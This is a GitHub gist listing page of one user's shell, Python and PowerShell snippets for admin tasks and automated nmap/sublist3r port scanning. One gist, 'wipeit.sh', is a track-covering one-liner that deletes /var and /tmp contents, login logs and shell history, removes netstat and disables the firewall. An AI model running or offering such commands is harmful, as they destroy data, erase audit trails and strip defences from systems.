Skip to content

Instantly share code, notes, and snippets.

View colehocking's full-sized avatar

Cole Hocking colehocking

  • Colorado
View GitHub Profile
@colehocking
colehocking / extract_ips.sh
Created January 26, 2024 18:00
Extract a line-separated list of IPs from a pdf
#!/bin/bash
# Extract a line-separated list of IPs from a pdf
# Assumes the dots are enclosed in square brackets
# -- Cole Hocking
PDF_FILE="$1"
# Reference text file with same basename
FILENAME="$(basename -- "${PDF_FILE}")"
# file extension
@colehocking
colehocking / create_pfx.sh
Created June 30, 2022 20:04
Creates PFX and generates PFX password
#!/bin/bash
# Create PFX File given private and public key
# usage: ./create_pfx.sh <private_key> <public_key>
# ARG Input
PRIV_KEY="$1"
#echo "${PRIV_KEY}"
PUB_KEY="$2"
#echo "${PUB_KEY}"
#------------------------
@colehocking
colehocking / scan_auto.sh
Created August 18, 2021 19:04
automate port scanning from a single domain with nmap and sublist3r
#!/bin/bash
# Scan a domain, find the servers that are up, and port scan them; automated
# Requires: nmap, sublist3r
# domain to scan
DOMAIN=$1
# subdomain file
SUBD="./results/found_dns.txt"
# nmap results from ping scan
@colehocking
colehocking / extract.sh
Created August 16, 2021 17:09
timesave extract process
#!/bin/bash
extract() {
if [[ -z "$1" ]]; then
echo "Usage: extract <file>.<zip|rar|bz2|gz|tar|tbz2|tgz|Z|7z|xz|ex|tar.bz2|tar.gz|tar.xz>"
exit 1
else
if [[ -f "$1" ]]; then
case $1 in
*.7z) 7z x $1;;
@colehocking
colehocking / subProc.py
Created December 2, 2020 18:20
Run a bash subprocess in Python -- the ideal way
def run_script(script, stdin=None):
"""Returns (stdout, stderr), raises error on non-zero return code"""
import subprocess
# Note: by using a list here (['bash', ...]) you avoid quoting issues, as the
# arguments are passed in exactly this order (spaces, quotes, and newlines won't
# cause problems):
proc = subprocess.Popen(['bash', '-c', script],
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
stdout, stderr = proc.communicate()
@colehocking
colehocking / s3bucketSize.sh
Created July 30, 2020 16:55
Get the S3 bucket size
aws s3api --profile PROFILE_NAME list-objects --bucket BUCKET_NAME --output json --query "[sum(Contents[].Size), length(Contents[])]" | awk 'NR!=2 {print $0;next} NR==2 {print $0/1024/1024/1024" GB"}'
@colehocking
colehocking / s3archiveLR.ps1
Created July 29, 2020 21:51
Upload LogRhythm Archives to S3
$inactive_archives_path = 'D:\LogRhythmArchives\Inactive'
$s3_bucket = 's3-bucket-name-goes-here'
$TTL = 3
Set-AWSCredentials -StoredCredentials stored-cred-name
Set-DefaultAWSRegion us-east-1
# Get all archive directories
$inactive_archives = Get-ChildItem -Path $inactive_archives_path
# Get oldest date to keep
#!/usr/bin/env python
# Calculate sum of files older than X date
# File is large csv w/ format: filename,date time:time,x.xxx(mb)
# -- Cole Hocking
import csv
from datetime import datetime, timedelta
from sys import argv, exit
import os.path as opath
@colehocking
colehocking / 88mph.sh
Created July 30, 2019 16:44
See how many jigawatts are in your flux capacitor
#!/bin/bash
# Check supported total number of CPUs
grep CONFIG_NR_CPUS /boot/config-`uname -r`
# Check the number of processors the OS is utilizing
dmesg | grep processor
@colehocking
colehocking / wipeit.sh
Created July 16, 2019 20:39
We were never here...
rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;